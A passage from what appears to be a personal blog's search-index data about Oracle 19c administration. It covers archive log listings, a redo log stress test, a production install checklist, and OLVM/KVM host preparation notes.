arch1_2458_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:17 arch1_2459_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:17 arch1_2460_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:17 arch1_2461_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 23:17 arch1_2462_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:17 arch1_2463_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:17 arch1_2464_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:18 arch1_2465_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:18 arch1_2466_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:18 arch1_2467_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:18 arch1_2468_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:18 arch1_2469_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:18 arch1_2470_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:18 arch1_2471_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 23:18 arch1_2472_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:18 arch1_2473_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:18 arch1_2474_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:18 arch1_2475_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:18 arch1_2476_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:18 arch1_2477_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:18 arch1_2478_1215462093.dbf -rw-r-----. 1 oracle oinstall 8.3M Dec 27 23:18 arch1_2479_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 23:18 arch1_2480_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:18 arch1_2481_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:18 arch1_2482_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:18 arch1_2483_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:19 arch1_2484_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:19 arch1_2485_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:19 arch1_2486_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:19 arch1_2487_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:19 arch1_2488_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:19 arch1_2489_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:19 arch1_2490_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:19 arch1_2491_1215462093.dbf -rw-r-----. 1 oracle oinstall 9.3M Dec 27 23:19 arch1_2492_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:19 arch1_2493_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:19 arch1_2494_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:19 arch1_2495_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:19 arch1_2496_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:19 arch1_2497_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:19 arch1_2498_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:19 arch1_2499_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:19 arch1_2500_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:19 arch1_2501_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:19 arch1_2502_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:19 arch1_2503_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:20 arch1_2504_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:20 arch1_2505_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:20 arch1_2506_1215462093.dbf -rw-r-----. 1 oracle oinstall 8.9M Dec 27 23:20 arch1_2507_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:20 arch1_2508_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:20 arch1_2509_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:20 arch1_2510_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.5M Dec 27 23:20 arch1_2511_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:20 arch1_2512_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:20 arch1_2513_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:20 arch1_2514_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:20 arch1_2515_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:20 arch1_2516_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:20 arch1_2517_1215462093.dbf -rw-r-----. 1 oracle oinstall 9.9M Dec 27 23:20 arch1_2518_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:20 arch1_2519_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:20 arch1_2520_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:20 arch1_2521_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 23:20 arch1_2522_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:21 arch1_2523_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 23:21 arch1_2524_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:21 arch1_2525_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:21 arch1_2526_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:21 arch1_2527_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:21 arch1_2528_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:21 arch1_2529_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:21 arch1_2530_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:21 arch1_2531_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:21 arch1_2532_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:21 arch1_2533_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:21 arch1_2534_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:21 arch1_2535_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:21 arch1_2536_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:21 arch1_2537_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:21 arch1_2538_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:21 arch1_2539_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:21 arch1_2540_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:21 arch1_2541_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:22 arch1_2542_1215462093.dbf -rw-r-----. 1 oracle oinstall 9.2M Dec 27 23:22 arch1_2543_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:22 arch1_2544_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:22 arch1_2545_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:22 arch1_2546_1215462093.dbf -rw-r-----. 1 oracle oinstall 9.4M Dec 27 23:22 arch1_2547_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:22 arch1_2548_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:22 arch1_2549_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:22 arch1_2550_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:22 arch1_2551_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:22 arch1_2552_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:22 arch1_2553_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:22 arch1_2554_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:22 arch1_2555_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:22 arch1_2556_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:22 arch1_2557_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:22 arch1_2558_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:22 arch1_2559_1215462093.dbf -rw-r-----. 1 oracle oinstall 7.7M Dec 27 23:22 arch1_2560_1215462093.dbf -rw-r-----. 1 oracle oinstall 8.2M Dec 27 23:23 arch1_2561_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:23 arch1_2562_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:23 arch1_2563_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:23 arch1_2564_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:23 arch1_2565_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:23 arch1_2566_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:23 arch1_2567_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:23 arch1_2568_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:23 arch1_2569_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:23 arch1_2570_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:23 arch1_2571_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:23 arch1_2572_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:23 arch1_2573_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:23 arch1_2574_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:23 arch1_2575_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:23 arch1_2576_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:23 arch1_2577_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:23 arch1_2578_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:23 arch1_2579_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:24 arch1_2580_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:24 arch1_2581_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:24 arch1_2582_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:24 arch1_2583_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:24 arch1_2584_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:24 arch1_2585_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:24 arch1_2586_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:24 arch1_2587_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:24 arch1_2588_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:24 arch1_2589_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:24 arch1_2590_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:24 arch1_2591_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:24 arch1_2592_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:24 arch1_2593_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:24 arch1_2594_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:24 arch1_2595_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:24 arch1_2596_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:24 arch1_2597_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:24 arch1_2598_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:25 arch1_2599_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:25 arch1_2600_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:25 arch1_2601_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:25 arch1_2602_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 23:25 arch1_2603_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:25 arch1_2604_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:25 arch1_2605_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:25 arch1_2606_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:25 arch1_2607_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:25 arch1_2608_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.4M Dec 27 23:25 arch1_2609_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:25 arch1_2610_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:25 arch1_2611_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:25 arch1_2612_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:25 arch1_2613_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:25 arch1_2614_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:25 arch1_2615_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:25 arch1_2616_1215462093.dbf -rw-r-----. 1 oracle oinstall 9.2M Dec 27 23:25 arch1_2617_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.7M Dec 27 23:25 arch1_2618_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:26 arch1_2619_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:26 arch1_2620_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:26 arch1_2621_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:26 arch1_2622_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:26 arch1_2623_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:26 arch1_2624_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:26 arch1_2625_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:26 arch1_2626_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:26 arch1_2627_1215462093.dbf -rw-r-----. 1 oracle oinstall 7.4M Dec 27 23:26 arch1_2628_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:26 arch1_2629_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:26 arch1_2630_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:26 arch1_2631_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:26 arch1_2632_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:26 arch1_2633_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:26 arch1_2634_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:26 arch1_2635_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:26 arch1_2636_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:26 arch1_2637_1215462093.dbf -rw-r-----. 1 oracle oinstall 9.3M Dec 27 23:27 arch1_2638_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:27 arch1_2639_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:27 arch1_2640_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:27 arch1_2641_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:27 arch1_2642_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:27 arch1_2643_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:27 arch1_2644_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:27 arch1_2645_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:27 arch1_2646_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:27 arch1_2647_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:27 arch1_2648_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:27 arch1_2649_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:27 arch1_2650_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:27 arch1_2651_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:27 arch1_2652_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:27 arch1_2653_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:27 arch1_2654_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:27 arch1_2655_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:27 arch1_2656_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:28 arch1_2657_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:28 arch1_2658_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:28 arch1_2659_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:28 arch1_2660_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:28 arch1_2661_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:28 arch1_2662_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:28 arch1_2663_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:28 arch1_2664_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:28 arch1_2665_1215462093.dbf -rw-r-----. 1 oracle oinstall 6.3M Dec 27 23:28 arch1_2666_1215462093.dbf -rw-rw----. 1 oracle oinstall 1.6K Dec 28 08:53 hc_db1.dat [oracle@oracle-19c-ol7-121 ~]$ ","date":"December 29, 2025","externalUrl":null,"permalink":"/oracle-database/test-redolog-file/","section":"Oracle-Databases","summary":"Test Summary # insert and delete item start_storm start_storm_batch_commit start_storm_optimized start_storm_hint test result success execute timeout success success time range 2025-12-30 14:34:06 - 2025-12-30 14:37:50 2025-12-29 10:01:54 - 2025-12-29 21:49:39 2025-12-30 09:28:01 - 2025-12-30 09:34:40 2025-12-30 09:40:52 - 2025-12-30 09:42:25 total run time(s) 224 42465 399 93 CTAS item start_ctas start_ctas_nologging start_ctas_nologging_paralel test result success success success time range 2025-12-30 10:50:23 - 2025-12-30 10:51:54 2025-12-30 11:01:09 - 2025-12-30 11:01:11 2025-12-30 13:58:01 - 2025-12-30 13:58:03 total run time(s) 91 2 2 測試環境 # DB version: Oracle 19c OS: Oracle linux 7 CPU: 4 vCore RAM: 8G 測試前準備 # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 SELECT GROUP# , status, bytes/1024/1024 FROM v$log l; GROUP#|STATUS |BYTES/1024/1024 ------+--------+--------------- 1|INACTIVE| 200 2|INACTIVE| 200 3|ACTIVE | 200 4|CURRENT | 10 5|UNUSED | 10 6|UNUSED | 10 ALTER DATABASE ADD LOGFILE GROUP 4 ('/u01/app/oracle/oradata/DB/redo04.log') SIZE 10M; ALTER DATABASE ADD LOGFILE GROUP 5 ('/u01/app/oracle/oradata/DB/redo05.log') SIZE 10M; ALTER DATABASE ADD LOGFILE GROUP 6 ('/u01/app/oracle/oradata/DB/redo06.log') SIZE 10M; ALTER SYSTEM SWITCH LOGFILE; ALTER SYSTEM CHECKPOINT; ALTER DATABASE DROP LOGFILE GROUP 1; ALTER DATABASE DROP LOGFILE GROUP 2; ALTER DATABASE DROP LOGFILE GROUP 3; GROUP#|STATUS |BYTES/1024/1024 ------+--------+--------------- 4|CURRENT | 10 5|UNUSED | 10 6|UNUSED | 10 1 2 3 4 5 6 BEGIN DBMS_WORKLOAD_REPOSITORY.MODIFY_SNAPSHOT_SETTINGS( retention =\u003e 259200, -- 以分鐘為單位 (7天 = 7 * 24 * 60) interval =\u003e 10 -- 以分鐘為單位 ); END; 1 2 3 4 5 6 7 8 9 10 11 12 13 -- 建立測試 User (若已有可跳過) CREATE USER pollo IDENTIFIED BY oracle; GRANT CONNECT, RESOURCE, DBA TO demo_user; -- 準備來源表 (約 100~200MB 資料量) CREATE TABLE pollo.src_data NOLOGGING AS SELECT rownum AS id, a.* FROM dba_objects a, (SELECT 1 FROM dual CONNECT BY level \u003c= 20) b; -- 以測試 User 登入 CONN pollo/oracle -- 準備目標空表 CREATE TABLE dest_table AS SELECT * FROM src_data WHERE 1=0; 1 2 3 4 5 6 7 8 9 10 CREATE TABLE stress_demo_log( OBJID NUMERIC GENERATED BY DEFAULT AS IDENTITY , DATE_CREATED DATE DEFAULT SYSDATE NOT NULL, test_id NUMERIC, test_name varchar2(100), DESC# nvarchar2(200), status varchar2(30), CONSTRAINT stress_demo_log_pk PRIMARY KEY (OBJID) ); 1 2 3 4 5 6 -- 確保 Package 已經是 VALID 狀態 SELECT type, line, position, text FROM all_errors WHERE name = 'PKG_STRESS_DEMO' AND owner = 'POLLO' ORDER BY type, sequence; there is my test package sql script\n","title":"Redo test","type":"oracle-database"},{"content":" plan item list # SGA_MAX_SIZE(GB) = RAM * 50% vm.nr_hugepages = (SGA_MAX_SIZE + (SGA_MAX_SIZE * 0.04)) * 1024 * 1024 / kernel.shmmni kernel.shmmax = SGA_MAX_SIZE * 1024 * 1024 * 1024 kernel.shmall = SGA_MAX_SIZE * 1024 * 1024 * 1024 / kernel.shmmni DB execute account. need check limits.conf domain content if youre db acount not be named oracle! check OS setting before install # package had be installed 1 yum install bc binutils compat-libcap1 compat-libstdc++-33 lfutils-libelf elfutils-libelf-devel fontconfig-devel glibc glibc-devel ksh libaio libaio-devel libXrender libXrender-devel libX11 libXau libXi libXtst libgcc libstdc++ libstdc++-devel libxcb make policycoreutils policycoreutils-python smartmontools sysstat cvuqdisk installed 1 rpm -qi cvuqdisk calculate kernel.shmall value calculate kernel.shmmax value check limits.conf file 1 2 3 4 5 # oracle-database-preinstall-19c setting for memlock hard limit is maximum of 128GB on x86_64 or 3GB on x86 OR 90 % of RAM oracle hard memlock unlimited # oracle-database-preinstall-19c setting for memlock soft limit is maximum of 128GB on x86_64 or 3GB on x86 OR 90% of RAM oracle soft memlock unlimited check sysctl.conf Configuring HugePages on Linux disable Transparent HugePages ","date":"December 26, 2025","externalUrl":null,"permalink":"/oracle-database/deploy-oracle-for-production-check-list/","section":"Oracle-Databases","summary":"plan item list # SGA_MAX_SIZE(GB) = RAM * 50% vm.nr_hugepages = (SGA_MAX_SIZE + (SGA_MAX_SIZE * 0.04)) * 1024 * 1024 / kernel.shmmni kernel.shmmax = SGA_MAX_SIZE * 1024 * 1024 * 1024 kernel.shmall = SGA_MAX_SIZE * 1024 * 1024 * 1024 / kernel.shmmni DB execute account. need check limits.conf domain content if youre db acount not be named oracle! check OS setting before install # package had be installed 1 yum install bc binutils compat-libcap1 compat-libstdc++-33 lfutils-libelf elfutils-libelf-devel fontconfig-devel glibc glibc-devel ksh libaio libaio-devel libXrender libXrender-devel libX11 libXau libXi libXtst libgcc libstdc++ libstdc++-devel libxcb make policycoreutils policycoreutils-python smartmontools sysstat cvuqdisk installed 1 rpm -qi cvuqdisk calculate kernel.shmall value calculate kernel.shmmax value check limits.conf file 1 2 3 4 5 # oracle-database-preinstall-19c setting for memlock hard limit is maximum of 128GB on x86_64 or 3GB on x86 OR 90 % of RAM oracle hard memlock unlimited # oracle-database-preinstall-19c setting for memlock soft limit is maximum of 128GB on x86_64 or 3GB on x86 OR 90% of RAM oracle soft memlock unlimited check sysctl.conf Configuring HugePages on Linux disable Transparent HugePages ","title":"deploy-Oracle-for-production-check-list","type":"oracle-database"},{"content":"","date":"October 17, 2025","externalUrl":null,"permalink":"/personal-zone/","section":"Personal-Zones","summary":"","title":"Personal-Zones","type":"personal-zone"},{"content":"任職於 中強光電 擔任 DBA\n","date":"October 17, 2025","externalUrl":null,"permalink":"/personal-zone/2025-10-17/","section":"Personal-Zones","summary":"任職於 中強光電 擔任 DBA\n","title":"結束服務","type":"personal-zone"},{"content":" KVM 主機架構 # pollochang-ovirt hostname: ovirt-020 FQDN: ovirt-020.kvm-host.home.pollochang.work IP: 172.30.1.20/24 CPU: 2 vCore RAM: 8 G Disk: 50 G pollochang-kvm-003 用途: AP hostname: pollochang-kvm-003 FQDN: pollochang-kvm-003.kvm-host.home.pollochang.work IP: 172.30.1.3/24 pollochang-kvm-004 用途: AP hostname: pollochang-kvm-004 FQDN: pollochang-kvm-004.kvm-host.home.pollochang.work IP: 172.30.1.4/24 安裝前置作業 # 透過文件取得軟體相容性 透過下表可以得知，OLVM 當前僅支援 Oracle Linux 8，為了日後維護的方便，因此在此次實現我挑選Oracle Linux 8.10\nRelease Platform Compute host requirement Minimum kernel requirement OLVM requirement Oracle Linux 8 x86-64 OL8 Update 8 and higher UEK R7 Update 2 (5.15.0-200) and higher UEK R6 Update 3 (5.4.17-2136) and higher RHCK (4.18.0-477) and higher OLVM 4.5 Release Platform KVM host requirement Minimum kernel requirement Oracle Linux 8 x86-64 OL8 Update 5 and higher UEK R7 (5.15.0-0) and higher UEK R6 Update 3 (5.4.17-2136) and higher RHCK (4.18.0-348) and higher aarch64 OL8 Update 5 and higher UEK R7 (5.15.0-0) and higher UEK R6 Update 3 (5.4.17-2136) and higher Oracle Linux 9 x86-64 OL9 and higher UEK R8 (6.12.0-0) and higher UEK R7 (5.15.0-0) and higher RHCK (5.14.0-70) and higher aarch64 OL9 and higher UEK R8 (6.12.0-0) and higher UEK R7 (5.15.0-0) and higher 上表來自於:Hardware Certification List Oracle Linux and Oracle Virtualization\n啟動之後可以下指令檢查 CPU 有支援虛擬化，如果有支援才可以安裝KVM 1 grep --color --perl-regexp \u0026#39;vmx|svm\u0026#39; /proc/cpuinfo 以下為 AMD CPU 檢查結果\n1 flags\t: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm constant_tsc rep_good nopl nonstop_tsc cpuid extd_apicid aperfmperf rapl pni pclmulqdq monitor ssse3 fma cx16 sse4_1 sse4_2 movbe popcnt aes xsave avx f16c rdrand lahf_lm cmp_legacy svm extapic cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw ibs skinit wdt tce topoext perfctr_core perfctr_nb bpext perfctr_llc mwaitx cpb cat_l3 cdp_l3 hw_pstate ssbd mba ibpb stibp vmmcall fsgsbase bmi1 avx2 smep bmi2 cqm rdt_a rdseed adx smap clflushopt clwb sha_ni xsaveopt xsavec xgetbv1 cqm_llc cqm_occup_llc cqm_mbm_total cqm_mbm_local nt_good clzero irperf xsaveerptr rdpru wbnoinvd arat npt lbrv svm_lock nrip_save tsc_scale vmcb_clean flushbyasid decodeassists pausefilter pfthreshold avic v_vmsave_vmload vgif v_spec_ctrl umip rdpid overflow_recov succor smca sme sev sev_es ibpb_exit_to_user 以下為 Intel CPU 檢查結果\n1 2 flags\t: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm constant_tsc art arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc cpuid aperfmperf pni pclmulqdq dtes64 monitor ds_cpl vmx smx est tm2 ssse3 sdbg fma cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand lahf_lm abm 3dnowprefetch cpuid_fault epb invpcid_single pti ssbd ibrs 